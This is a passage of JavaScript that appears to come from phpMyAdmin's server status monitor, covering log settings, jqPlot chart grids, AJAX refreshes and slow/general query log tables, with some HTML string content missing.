Messages.strBothLogOn; } else { msg = Messages.strGenLogOn; } } if (msg.length === 0 && logVars.slow_query_log === 'ON') { msg = Messages.strSlowLogOn; } if (msg.length === 0) { icon = Functions.getImage('s_error'); msg = Messages.strBothLogOff; } str = '' + Messages.strCurrentSettings + '
            '; str += icon + msg + '
            '; if (logVars.log_output !== 'TABLE') { str += Functions.getImage('s_error') + ' ' + Messages.strLogOutNotTable + '
            '; } else { str += Functions.getImage('s_success') + ' ' + Messages.strLogOutIsTable + '
            '; } if (logVars.slow_query_log === 'ON') { if (logVars.long_query_time > 2) { str += Functions.getImage('s_attention') + ' '; str += Functions.sprintf(Messages.strSmallerLongQueryTimeAdvice, logVars.long_query_time); str += '
            '; } if (logVars.long_query_time < 2) { str += Functions.getImage('s_success') + ' '; str += Functions.sprintf(Messages.strLongQueryTimeSet, logVars.long_query_time); str += '
            '; } } str += '
            '; if (isSuperUser) { str += '

            ' + Messages.strChangeSettings + ''; str += '
            '; str += Messages.strSettingsAppliedGlobal + '
            '; var varValue = 'TABLE'; if (logVars.log_output === 'TABLE') { varValue = 'FILE'; } str += '- '; str += Functions.sprintf(Messages.strSetLogOutput, varValue); str += '
            '; if (logVars.general_log !== 'ON') { str += '- '; str += Functions.sprintf(Messages.strEnableVar, 'general_log'); str += '
            '; } else { str += '- '; str += Functions.sprintf(Messages.strDisableVar, 'general_log'); str += '
            '; } if (logVars.slow_query_log !== 'ON') { str += '- '; str += Functions.sprintf(Messages.strEnableVar, 'slow_query_log'); str += '
            '; } else { str += '- '; str += Functions.sprintf(Messages.strDisableVar, 'slow_query_log'); str += '
            '; } varValue = 5; if (logVars.long_query_time > 2) { varValue = 1; } str += '- '; str += Functions.sprintf(Messages.setSetLongQueryTime, varValue); str += '
            '; } else { str += Messages.strNoSuperUser + '
            '; } str += '
            '; $dialog.find('div.monitorUse').toggle( logVars.log_output === 'TABLE' && (logVars.slow_query_log === 'ON' || logVars.general_log === 'ON') ); $dialog.find('div.ajaxContent').html(str); $dialog.find('img.ajaxIcon').hide(); $dialog.find('a.set').on('click', function () { var nameValue = $(this).attr('href').split('-'); loadLogVars({ varName: nameValue[0].substr(1), varValue: nameValue[1] }); $dialog.find('img.ajaxIcon').show(); }); } ); }; loadLogVars(); return false; }); $('input[name="chartType"]').on('change', function () { $('#chartVariableSettings').toggle(this.checked && this.value === 'variable'); var title = $('input[name="chartTitle"]').val(); if (title === Messages.strChartTitle || title === $('label[for="' + $('input[name="chartTitle"]').data('lastRadio') + '"]').text() ) { $('input[name="chartTitle"]') .data('lastRadio', $(this).attr('id')) .val($('label[for="' + $(this).attr('id') + '"]').text()); } }); $('input[name="useDivisor"]').on('change', function () { $('span.divisorInput').toggle(this.checked); }); $('input[name="useUnit"]').on('change', function () { $('span.unitInput').toggle(this.checked); }); $('select[name="varChartList"]').on('change', function () { if (this.selectedIndex !== 0) { $('#variableInput').val(this.value); } }); $('a[href="#kibDivisor"]').on('click', function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024); $('input[name="valueUnit"]').val(Messages.strKiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#mibDivisor"]').on('click', function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024 * 1024); $('input[name="valueUnit"]').val(Messages.strMiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#submitClearSeries"]').on('click', function (event) { event.preventDefault(); $('#seriesPreview').html('' + Messages.strNone + ''); newChart = null; $('#clearSeriesLink').hide(); }); $('a[href="#submitAddSeries"]').on('click', function (event) { event.preventDefault(); if ($('#variableInput').val() === '') { return false; } if (newChart === null) { $('#seriesPreview').html(''); newChart = { title: $('input[name="chartTitle"]').val(), nodes: [], series: [], maxYLabel: 0 }; } var serie = { dataPoints: [{ type: 'statusvar', name: $('#variableInput').val() }], display: $('input[name="differentialValue"]').prop('checked') ? 'differential' : '' }; if (serie.dataPoints[0].name === 'Processes') { serie.dataPoints[0].type = 'proc'; } if ($('input[name="useDivisor"]').prop('checked')) { serie.valueDivisor = parseInt($('input[name="valueDivisor"]').val(), 10); } if ($('input[name="useUnit"]').prop('checked')) { serie.unit = $('input[name="valueUnit"]').val(); } var str = serie.display === 'differential' ? ', ' + Messages.strDifferential : ''; str += serie.valueDivisor ? (', ' + Functions.sprintf(Messages.strDividedBy, serie.valueDivisor)) : ''; str += serie.unit ? (', ' + Messages.strUnit + ': ' + serie.unit) : ''; var newSeries = { label: $('#variableInput').val().replace(/_/g, ' ') }; newChart.series.push(newSeries); $('#seriesPreview').append('- ' + Functions.escapeHtml(newSeries.label + str) + '
            '); newChart.nodes.push(serie); $('#variableInput').val(''); $('input[name="differentialValue"]').prop('checked', true); $('input[name="useDivisor"]').prop('checked', false); $('input[name="useUnit"]').prop('checked', false); $('input[name="useDivisor"]').trigger('change'); $('input[name="useUnit"]').trigger('change'); $('select[name="varChartList"]').get(0).selectedIndex = 0; $('#clearSeriesLink').show(); return false; }); $('#variableInput').autocomplete({ source: variableNames }); /* Initializes the monitor, called only once */ function initGrid () { var i; /* Apply default values & config */ if (isStorageSupported('localStorage')) { if (typeof window.localStorage.monitorCharts !== 'undefined') { runtime.charts = JSON.parse(window.localStorage.monitorCharts); } if (typeof window.localStorage.monitorSettings !== 'undefined') { monitorSettings = JSON.parse(window.localStorage.monitorSettings); } $('a[href="#clearMonitorConfig"]').toggle(runtime.charts !== null); if (runtime.charts !== null && typeof window.localStorage.monitorVersion !== 'undefined' && monitorProtocolVersion !== window.localStorage.monitorVersion ) { $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strIncompatibleMonitorConfig }); $('#emptyDialog').html(Messages.strIncompatibleMonitorConfigDescription); var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', click: function () { $(this).dialog('close'); } }, }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 400, buttons: dlgBtns }); } } if (runtime.charts === null) { runtime.charts = defaultChartGrid; } if (monitorSettings === null) { monitorSettings = defaultMonitorSettings; } $('select[name="gridChartRefresh"]').val(monitorSettings.gridRefresh / 1000); $('select[name="chartColumns"]').val(monitorSettings.columns); if (monitorSettings.gridMaxPoints === 'auto') { runtime.gridMaxPoints = Math.round((monitorSettings.chartSize.width - 40) / 12); } else { runtime.gridMaxPoints = monitorSettings.gridMaxPoints; } runtime.xmin = new Date().getTime() - serverTimeDiff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - serverTimeDiff + monitorSettings.gridRefresh; /* Calculate how much spacing there is between each chart */ $('#chartGrid').html(''); chartSpacing = { width: $('#chartGrid').find('td').eq(1).offset().left - $('#chartGrid').find('td').eq(0).offset().left, height: $('#chartGrid').find('tr').eq(1).find('td').eq(1).offset().top - $('#chartGrid').find('tr').eq(0).find('td').eq(0).offset().top }; $('#chartGrid').html(''); /* Add all charts - in correct order */ var keys = []; $.each(runtime.charts, function (key) { keys.push(key); }); keys.sort(); for (i = 0; i < keys.length; i++) { addChart(runtime.charts[keys[i]], true); } /* Fill in missing cells */ var numCharts = $('#chartGrid').find('.monitorChart').length; var numMissingCells = (monitorSettings.columns - numCharts % monitorSettings.columns) % monitorSettings.columns; for (i = 0; i < numMissingCells; i++) { $('#chartGrid').find('tr').last().append(''); } // Empty cells should keep their size so you can drop onto them calculateChartSize(); $('#chartGrid').find('tr td').css('width', chartSize.width + 'px'); buildRequiredDataList(); refreshChartGrid(); } /* Calls destroyGrid() and initGrid(), but before doing so it saves the chart * data from each chart and restores it after the monitor is initialized again */ function rebuildGrid () { var oldData = null; if (runtime.charts) { oldData = {}; $.each(runtime.charts, function (key, chartObj) { for (var i = 0, l = chartObj.nodes.length; i < l; i++) { oldData[chartObj.nodes[i].dataPoint] = []; for (var j = 0, ll = chartObj.chart.series[i].data.length; j < ll; j++) { oldData[chartObj.nodes[i].dataPoint].push([chartObj.chart.series[i].data[j].x, chartObj.chart.series[i].data[j].y]); } } }); } destroyGrid(); initGrid(); } /* Calculates the dynamic chart size that depends on the column width */ function calculateChartSize () { var panelWidth; if ($('body').height() > $(window).height()) { // has vertical scroll bar panelWidth = $('#logTable').innerWidth(); } else { panelWidth = $('#logTable').innerWidth() - 10; // leave some space for vertical scroll bar } var wdt = panelWidth; var windowWidth = $(window).width(); if (windowWidth > 768) { wdt = (panelWidth - monitorSettings.columns * Math.abs(chartSpacing.width)) / monitorSettings.columns; } chartSize = { width: Math.floor(wdt), height: Math.floor(0.75 * wdt) }; } /* Adds a chart to the chart grid */ function addChart (chartObj, initialize) { var i; var settings = { title: Functions.escapeHtml(chartObj.title), grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: '%H:%M:%S', showGridline: false }, min: runtime.xmin, max: runtime.xmax }, yaxis: { min: 0, max: 100, tickInterval: 20 } }, seriesDefaults: { rendererOptions: { smooth: true }, showLine: true, lineWidth: 2, markerOptions: { size: 6 } }, highlighter: { show: true } }; if (settings.title === Messages.strSystemCPUUsage || settings.title === Messages.strQueryCacheEfficiency ) { settings.axes.yaxis.tickOptions = { formatString: '%d %%' }; } else if (settings.title === Messages.strSystemMemory || settings.title === Messages.strSystemSwap ) { settings.stackSeries = true; settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(2) // MiB }; } else if (settings.title === Messages.strTraffic) { settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(1) // KiB }; } else if (settings.title === Messages.strQuestions || settings.title === Messages.strConnections ) { settings.axes.yaxis.tickOptions = { formatter: function (format, val) { if (Math.abs(val) >= 1000000) { return $.jqplot.sprintf('%.3g M', val / 1000000); } else if (Math.abs(val) >= 1000) { return $.jqplot.sprintf('%.3g k', val / 1000); } else { return $.jqplot.sprintf('%d', val); } } }; } settings.series = chartObj.series; if ($('#' + 'gridchart' + runtime.chartAI).length === 0) { var numCharts = $('#chartGrid').find('.monitorChart').length; if (numCharts === 0 || (numCharts % monitorSettings.columns === 0)) { $('#chartGrid').append(''); } if (!chartSize) { calculateChartSize(); } $('#chartGrid').find('tr').last().append( '
            ' + '
            ' + '
            ' ); } // Set series' data as [0,0], smooth lines won't plot with data array having null values. // also chart won't plot initially with no data and data comes on refreshChartGrid() var series = []; for (i in chartObj.series) { series.push([[0, 0]]); } var tempTooltipContentEditor = function (str, seriesIndex, pointIndex, plot) { var j; // TODO: move style to theme CSS var tooltipHtml = '
            '; // x value i.e. time var timeValue = str.split(',')[0]; var seriesValue; tooltipHtml += 'Time: ' + timeValue; tooltipHtml += ''; // Add y values to the tooltip per series for (j in plot.series) { // get y value if present if (plot.series[j].data.length > pointIndex) { seriesValue = plot.series[j].data[pointIndex][1]; } else { return; } var seriesLabel = plot.series[j].label; var seriesColor = plot.series[j].color; // format y value if (plot.series[0]._yaxis.tickOptions.formatter) { // eslint-disable-line no-underscore-dangle // using formatter function // eslint-disable-next-line no-underscore-dangle seriesValue = plot.series[0]._yaxis.tickOptions.formatter('%s', seriesValue); } else if (plot.series[0]._yaxis.tickOptions.formatString) { // eslint-disable-line no-underscore-dangle // using format string // eslint-disable-next-line no-underscore-dangle seriesValue = Functions.sprintf(plot.series[0]._yaxis.tickOptions.formatString, seriesValue); } tooltipHtml += '
            ' + seriesLabel + ': ' + seriesValue + ''; } tooltipHtml += '
            '; return tooltipHtml; }; // set Tooltip for each series for (i in settings.series) { settings.series[i].highlighter = { show: true, tooltipContentEditor: tempTooltipContentEditor }; } chartObj.chart = $.jqplot('gridchart' + runtime.chartAI, series, settings); // remove [0,0] after plotting for (i in chartObj.chart.series) { chartObj.chart.series[i].data.shift(); } var $legend = $('
            ').css('padding', '0.5em'); for (i in chartObj.chart.series) { $legend.append( $('
            ').append( $('
            ').css({ width: '1em', height: '1em', background: chartObj.chart.seriesColors[i] }).addClass('float-start') ).append( $('
            ').text( chartObj.chart.series[i].label ).addClass('float-start') ).append( $('
            ') ).addClass('float-start') ); } $('#gridchart' + runtime.chartAI) .parent() .append($legend); if (initialize !== true) { runtime.charts['c' + runtime.chartAI] = chartObj; buildRequiredDataList(); } // time span selection $('#gridchart' + runtime.chartAI).on('jqplotMouseDown', function (ev, gridpos, datapos) { drawTimeSpan = true; selectionTimeDiff.push(datapos.xaxis); if ($('#selection_box').length) { $('#selection_box').remove(); } var selectionBox = $('
            '); // eslint-disable-next-line compat/compat $(document.body).append(selectionBox); selectionStartX = ev.pageX; selectionStartY = ev.pageY; selectionBox .attr({ id: 'selection_box' }) .css({ top: selectionStartY - gridpos.y, left: selectionStartX }) .fadeIn(); }); $('#gridchart' + runtime.chartAI).on('jqplotMouseUp', function (ev, gridpos, datapos) { if (! drawTimeSpan || editMode) { return; } selectionTimeDiff.push(datapos.xaxis); if (selectionTimeDiff[1] <= selectionTimeDiff[0]) { selectionTimeDiff = []; return; } // get date from timestamp var min = new Date(Math.ceil(selectionTimeDiff[0])); var max = new Date(Math.ceil(selectionTimeDiff[1])); getLogAnalyseDialog(min, max); selectionTimeDiff = []; drawTimeSpan = false; }); $('#gridchart' + runtime.chartAI).on('jqplotMouseMove', function (ev) { if (! drawTimeSpan || editMode) { return; } if (selectionStartX !== undefined) { $('#selection_box') .css({ width: Math.ceil(ev.pageX - selectionStartX) }) .fadeIn(); } }); $('#gridchart' + runtime.chartAI).on('jqplotMouseLeave', function () { drawTimeSpan = false; }); // eslint-disable-next-line compat/compat $(document.body).on('mouseup', function () { if ($('#selection_box').length) { $('#selection_box').remove(); } }); // Edit, Print icon only in edit mode $('#chartGrid').find('div svg').find('*[zIndex=20], *[zIndex=21], *[zIndex=19]').toggle(editMode); runtime.chartAI++; } function getLogAnalyseDialog (min, max) { var $logAnalyseDialog = $('#logAnalyseDialog'); var $dateStart = $logAnalyseDialog.find('input[name="dateStart"]'); var $dateEnd = $logAnalyseDialog.find('input[name="dateEnd"]'); $dateStart.prop('readonly', true); $dateEnd.prop('readonly', true); var dlgBtns = { [Messages.strFromSlowLog]: { text: Messages.strFromSlowLog, class: 'btn btn-secondary', }, [Messages.strFromGeneralLog]: { text: Messages.strFromGeneralLog, class: 'btn btn-secondary', }, }; dlgBtns[Messages.strFromSlowLog].click = function () { loadLog('slow', min, max); $(this).dialog('close'); }; dlgBtns[Messages.strFromGeneralLog].click = function () { loadLog('general', min, max); $(this).dialog('close'); }; $logAnalyseDialog.dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); Functions.addDatepicker($dateStart, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss', firstDay: firstDayOfCalendar }); Functions.addDatepicker($dateEnd, 'datetime', { showMillisec: false, showMicrosec: false, timeFormat: 'HH:mm:ss', firstDay: firstDayOfCalendar }); $dateStart.datepicker('setDate', min); $dateEnd.datepicker('setDate', max); } function loadLog (type, min, max) { var dateStart = Date.parse($('#logAnalyseDialog').find('input[name="dateStart"]').datepicker('getDate')) || min; var dateEnd = Date.parse($('#logAnalyseDialog').find('input[name="dateEnd"]').datepicker('getDate')) || max; loadLogStatistics({ src: type, start: dateStart, end: dateEnd, removeVariables: $('#removeVariables').prop('checked'), limitTypes: $('#limitTypes').prop('checked') }); } /* Called in regular intervals, this function updates the values of each chart in the grid */ function refreshChartGrid () { /* Send to server */ runtime.refreshRequest = $.post('index.php?route=/server/status/monitor/chart', { 'ajax_request': true, 'requiredData': JSON.stringify(runtime.dataList), 'server': CommonParams.get('server') }, function (data) { var chartData; if (typeof data !== 'undefined' && data.success === true) { chartData = data.message; } else { return serverResponseError(); } var value; var i = 0; var diff; var total; /* Update values in each graph */ $.each(runtime.charts, function (orderKey, elem) { var key = elem.chartID; // If newly added chart, we have no data for it yet if (! chartData[key]) { return; } // Draw all series total = 0; for (var j = 0; j < elem.nodes.length; j++) { // Update x-axis if (i === 0 && j === 0) { if (oldChartData === null) { diff = chartData.x - runtime.xmax; } else { diff = parseInt(chartData.x - oldChartData.x, 10); } runtime.xmin += diff; runtime.xmax += diff; } // elem.chart.xAxis[0].setExtremes(runtime.xmin, runtime.xmax, false); /* Calculate y value */ // If transform function given, use it if (elem.nodes[j].transformFn) { value = chartValueTransform( elem.nodes[j].transformFn, chartData[key][j], // Check if first iteration (oldChartData==null), or if newly added chart oldChartData[key]==null ( oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ? null : oldChartData[key][j] ) ); // Otherwise use original value and apply differential and divisor if given, // in this case we have only one data point per series - located at chartData[key][j][0] } else { value = parseFloat(chartData[key][j][0].value); if (elem.nodes[j].display === 'differential') { if (oldChartData === null || oldChartData[key] === null || oldChartData[key] === undefined ) { continue; } value -= oldChartData[key][j][0].value; } if (elem.nodes[j].valueDivisor) { value = value / elem.nodes[j].valueDivisor; } } // Set y value, if defined if (value !== undefined) { elem.chart.series[j].data.push([chartData.x, value]); if (value > elem.maxYLabel) { elem.maxYLabel = value; } else if (elem.maxYLabel === 0) { elem.maxYLabel = 0.5; } // free old data point values and update maxYLabel if (elem.chart.series[j].data.length > runtime.gridMaxPoints && elem.chart.series[j].data[0][0] < runtime.xmin ) { // check if the next freeable point is highest if (elem.maxYLabel <= elem.chart.series[j].data[0][1]) { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); elem.maxYLabel = getMaxYLabel(elem.chart.series[j].data); } else { elem.chart.series[j].data.splice(0, elem.chart.series[j].data.length - runtime.gridMaxPoints); } } if (elem.title === Messages.strSystemMemory || elem.title === Messages.strSystemSwap ) { total += value; } } } // update chart options // keep ticks number/positioning consistent while refreshrate changes var tickInterval = (runtime.xmax - runtime.xmin) / 5; elem.chart.axes.xaxis.ticks = [(runtime.xmax - tickInterval * 4), (runtime.xmax - tickInterval * 3), (runtime.xmax - tickInterval * 2), (runtime.xmax - tickInterval), runtime.xmax]; if (elem.title !== Messages.strSystemCPUUsage && elem.title !== Messages.strQueryCacheEfficiency && elem.title !== Messages.strSystemMemory && elem.title !== Messages.strSystemSwap ) { elem.chart.axes.yaxis.max = Math.ceil(elem.maxYLabel * 1.1); elem.chart.axes.yaxis.tickInterval = Math.ceil(elem.maxYLabel * 1.1 / 5); } else if (elem.title === Messages.strSystemMemory || elem.title === Messages.strSystemSwap ) { elem.chart.axes.yaxis.max = Math.ceil(total * 1.1 / 100) * 100; elem.chart.axes.yaxis.tickInterval = Math.ceil(total * 1.1 / 5); } i++; if (runtime.redrawCharts) { elem.chart.replot(); } }); oldChartData = chartData; runtime.refreshTimeout = setTimeout(refreshChartGrid, monitorSettings.gridRefresh); }); } /* Function to get highest plotted point's y label, to scale the chart, * TODO: make jqplot's autoscale:true work here */ function getMaxYLabel (dataValues) { var maxY = dataValues[0][1]; $.each(dataValues, function (k, v) { maxY = (v[1] > maxY) ? v[1] : maxY; }); return maxY; } /* Function that supplies special value transform functions for chart values */ function chartValueTransform (name, cur, prev) { switch (name) { case 'cpu-linux': if (prev === null) { return undefined; } // cur and prev are datapoint arrays, but containing // only 1 element for cpu-linux var newCur = cur[0]; var newPrev = prev[0]; var diffTotal = newCur.busy + newCur.idle - (newPrev.busy + newPrev.idle); var diffIdle = newCur.idle - newPrev.idle; return 100 * (diffTotal - diffIdle) / diffTotal; // Query cache efficiency (%) case 'qce': if (prev === null) { return undefined; } // cur[0].value is Qcache_hits, cur[1].value is Com_select var diffQHits = cur[0].value - prev[0].value; // No NaN please :-) if (cur[1].value - prev[1].value === 0) { return 0; } return diffQHits / (cur[1].value - prev[1].value + diffQHits) * 100; // Query cache usage (%) case 'qcu': if (cur[1].value === 0) { return 0; } // cur[0].value is Qcache_free_memory, cur[1].value is query_cache_size return 100 - cur[0].value / cur[1].value * 100; } return undefined; } /* Build list of nodes that need to be retrieved from server. * It creates something like a stripped down version of the runtime.charts object. */ function buildRequiredDataList () { runtime.dataList = {}; // Store an own id, because the property name is subject of reordering, // thus destroying our mapping with runtime.charts <=> runtime.dataList var chartID = 0; $.each(runtime.charts, function (key, chart) { runtime.dataList[chartID] = []; for (var i = 0, l = chart.nodes.length; i < l; i++) { runtime.dataList[chartID][i] = chart.nodes[i].dataPoints; } runtime.charts[key].chartID = chartID; chartID++; }); } /* Loads the log table data, generates the table and handles the filters */ function loadLogStatistics (opts) { var logRequest = null; if (! opts.removeVariables) { opts.removeVariables = false; } if (! opts.limitTypes) { opts.limitTypes = false; } $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strAnalysingLogsTitle }); $('#emptyDialog').html(Messages.strAnalysingLogs + ' '); var dlgBtns = { [Messages.strCancelRequest]: { text: Messages.strCancelRequest, class: 'btn btn-primary', }, }; dlgBtns[Messages.strCancelRequest].click = function () { if (logRequest !== null) { logRequest.abort(); } $(this).dialog('close'); }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); var url = 'index.php?route=/server/status/monitor/slow-log'; if (opts.src === 'general') { url = 'index.php?route=/server/status/monitor/general-log'; } logRequest = $.post( url, { 'ajax_request': true, 'time_start': Math.round(opts.start / 1000), 'time_end': Math.round(opts.end / 1000), 'removeVariables': opts.removeVariables, 'limitTypes': opts.limitTypes, 'server': CommonParams.get('server') }, function (data) { var logData; var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary', }, }; if (typeof data !== 'undefined' && data.success === true) { logData = data.message; } else { return serverResponseError(); } if (logData.rows.length === 0) { $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strNoDataFoundTitle, }); $('#emptyDialog').html('

            ' + Messages.strNoDataFound + '

            '); dlgBtns[Messages.strClose].click = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog('option', 'buttons', dlgBtns); return; } runtime.logDataCols = buildLogTable(logData, opts.removeVariables); /* Show some stats in the dialog */ $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strLoadingLogs }); $('#emptyDialog').html('

            ' + Messages.strLogDataLoaded + '

            '); $.each(logData.sum, function (key, value) { var newKey = key.charAt(0).toUpperCase() + key.slice(1).toLowerCase(); if (newKey === 'Total') { newKey = '' + newKey + ''; } $('#emptyDialog').append(newKey + ': ' + value + '
            '); }); /* Add filter options if more than a bunch of rows there to filter */ if (logData.numRows > 12) { $('#logTable').prepend( '
            ' + ' ' + Messages.strFiltersForLogTable + '' + '
            ' + ' ' + ' ' + '
            ' + ((logData.numRows > 250) ? '
            ' : '') + '
            ' + ' ' + ' ' + ' ' ); $('#noWHEREData').on('change', function () { filterQueries(true); }); if (logData.numRows > 250) { $('#startFilterQueryText').on('click', filterQueries); } else { $('#filterQueryText').on('keyup', filterQueries); } } dlgBtns[Messages.strJumpToTable] = { text: Messages.strJumpToTable, class: 'btn btn-secondary', click: function () { $(this).dialog('close'); $(document).scrollTop($('#logTable').offset().top); }, }; $('#emptyDialog').dialog('option', 'buttons', dlgBtns); } ); /** * Handles the actions performed when the user uses any of the * log table filters which are the filter by name and grouping * with ignoring data in WHERE clauses * * @param {boolean} varFilterChange Should be true when the users enabled or disabled * to group queries ignoring data in WHERE clauses */ function filterQueries (varFilterChange) { var textFilter; var val = $('#filterQueryText').val(); if (val.length === 0) { textFilter = null; } else { try { textFilter = new RegExp(val, 'i'); $('#filterQueryText').removeClass('error'); } catch (e) { if (e instanceof SyntaxError) { $('#filterQueryText').addClass('error'); textFilter = null; } } } var rowSum = 0; var totalSum = 0; var i = 0; var q; var noVars = $('#noWHEREData').prop('checked'); var equalsFilter = /([^=]+)=(\d+|(('|"|).*?[^\\])\4((\s+)|$))/gi; var functionFilter = /([a-z0-9_]+)\(.+?\)/gi; var filteredQueries = {}; var filteredQueriesLines = {}; var hide = false; var rowData; var queryColumnName = runtime.logDataCols[runtime.logDataCols.length - 2]; var sumColumnName = runtime.logDataCols[runtime.logDataCols.length - 1]; var isSlowLog = opts.src === 'slow'; var columnSums = {}; // For the slow log we have to count many columns (query_time, lock_time, rows_examined, rows_sent, etc.) var countRow = function (query, row) { var cells = row.match(/(.*?)<\/td>/gi); if (!columnSums[query]) { columnSums[query] = [0, 0, 0, 0]; } // lock_time and query_time and displayed in timespan format columnSums[query][0] += timeToSec(cells[2].replace(/(|<\/td>)/gi, '')); columnSums[query][1] += timeToSec(cells[3].replace(/(|<\/td>)/gi, '')); // rows_examind and rows_sent are just numbers columnSums[query][2] += parseInt(cells[4].replace(/(|<\/td>)/gi, ''), 10); columnSums[query][3] += parseInt(cells[5].replace(/(|<\/td>)/gi, ''), 10); }; // We just assume the sql text is always in the second last column, and that the total count is right of it $('#logTable').find('table tbody tr td.queryCell').each(function () { var $t = $(this); // If query is a SELECT and user enabled or disabled to group // queries ignoring data in where statements, we // need to re-calculate the sums of each row if (varFilterChange && $t.html().match(/^SELECT/i)) { if (noVars) { // Group on => Sum up identical columns, and hide all but 1 q = $t.text().replace(equalsFilter, '$1=...$6').trim(); q = q.replace(functionFilter, ' $1(...)'); // Js does not specify a limit on property name length, // so we can abuse it as index :-) if (filteredQueries[q]) { filteredQueries[q] += parseInt($t.next().text(), 10); totalSum += parseInt($t.next().text(), 10); hide = true; } else { filteredQueries[q] = parseInt($t.next().text(), 10); filteredQueriesLines[q] = i; $t.text(q); } if (isSlowLog) { countRow(q, $t.parent().html()); } } else { // Group off: Restore original columns rowData = $t.parent().data('query'); // Restore SQL text $t.text(rowData[queryColumnName]); // Restore total count $t.next().text(rowData[sumColumnName]); // Restore slow log columns if (isSlowLog) { $t.parent().children('td').eq(2).text(rowData.query_time); $t.parent().children('td').eq(3).text(rowData.lock_time); $t.parent().children('td').eq(4).text(rowData.rows_sent); $t.parent().children('td').eq(5).text(rowData.rows_examined); } } } // If not required to be hidden, do we need // to hide because of a not matching text filter? if (! hide && (textFilter !== null && ! textFilter.exec($t.text()))) { hide = true; } // Now display or hide this column if (hide) { $t.parent().css('display', 'none'); } else { totalSum += parseInt($t.next().text(), 10); rowSum++; $t.parent().css('display', ''); } hide = false; i++; }); // We finished summarizing counts => Update count values of all grouped entries if (varFilterChange) { if (noVars) { var numCol; var row; var $table = $('#logTable').find('table tbody'); $.each(filteredQueriesLines, function (key, value) { if (filteredQueries[key] <= 1) { return; } row = $table.children('tr').eq(value); numCol = row.children().eq(runtime.logDataCols.length - 1); numCol.text(filteredQueries[key]); if (isSlowLog) { row.children('td').eq(2).text(secToTime(columnSums[key][0])); row.children('td').eq(3).text(secToTime(columnSums[key][1])); row.children('td').eq(4).text(columnSums[key][2]); row.children('td').eq(5).text(columnSums[key][3]); } }); } $('#logTable').find('table').trigger('update'); setTimeout(function () { $('#logTable').find('table').trigger('sorton', [[[runtime.logDataCols.length - 1, 1]]]); }, 0); } // Display some stats at the bottom of the table $('#logTable').find('table tfoot tr') .html('' + Messages.strSumRows + ' ' + rowSum + '' + Messages.strTotal + '' + totalSum + ''); } } /* Turns a timespan (12:12:12) into a number */ function timeToSec (timeStr) { var time = timeStr.split(':'); return (parseInt(time[0], 10) * 3600) + (parseInt(time[1], 10) * 60) + parseInt(time[2], 10); } /* Turns a number into a timespan (100 into 00:01:40) */ function secToTime (timeInt) { var time = timeInt; var hours = Math.floor(time / 3600); time -= hours * 3600; var minutes = Math.floor(time / 60); time -= minutes * 60; if (hours < 10) { hours = '0' + hours; } if (minutes < 10) { minutes = '0' + minutes; } if (time < 10) { time = '0' + time; } return hours + ':' + minutes + ':' + time; } /* Constructs the log table out of the retrieved server data */ function buildLogTable (data, groupInserts) { var rows = data.rows; var cols = []; var $table = $('
            '); var $tBody; var $tRow; var $tCell; $('#logTable').html($table); var tempPushKey = function (key) { cols.push(key); }; var formatValue = function (name, value) { if (name === 'user_host') { return value.replace(/(\[.*?\])+/g, ''); } return Functions.escapeHtml(value); }; for (var i = 0, l = rows.length; i < l; i++) { if (i === 0) { $.each(rows[0], tempPushKey); $table.append('' + '' + cols.join('') + '' + '' ); $table.append($tBody = $('')); } $tBody.append($tRow = $('')); for (var j = 0, ll = cols.length; j < ll; j++) { // Assuming the query column is the second last if (j === cols.length - 2 && rows[i][cols[j]].match(/^SELECT/i)) { $tRow.append($tCell = $('' + formatValue(cols[j], rows[i][cols[j]]) + '')); $tCell.on('click', openQueryAnalyzer); } else { $tRow.append('' + formatValue(cols[j], rows[i][cols[j]]) + ''); } $tRow.data('query', rows[i]); } } $table.append('' + '' + Messages.strSumRows + ' ' + data.numRows + '' + Messages.strTotal + '' + data.sum.TOTAL + ''); // Append a tooltip to the count column, if there exist one if ($('#logTable').find('tr').first().find('th').last().text().indexOf('#') > -1) { $('#logTable').find('tr').first().find('th').last().append(' ' + Functions.getImage('b_help', '', { 'class': 'qroupedQueryInfoIcon' })); var tooltipContent = Messages.strCountColumnExplanation; if (groupInserts) { tooltipContent += '

            ' + Messages.strMoreCountColumnExplanation + '

            '; } Functions.tooltip( $('img.qroupedQueryInfoIcon'), 'img', tooltipContent ); } $('#logTable').find('table').tablesorter({ sortList: [[cols.length - 1, 1]], widgets: ['fast-zebra'] }); $('#logTable').find('table thead th') .append('
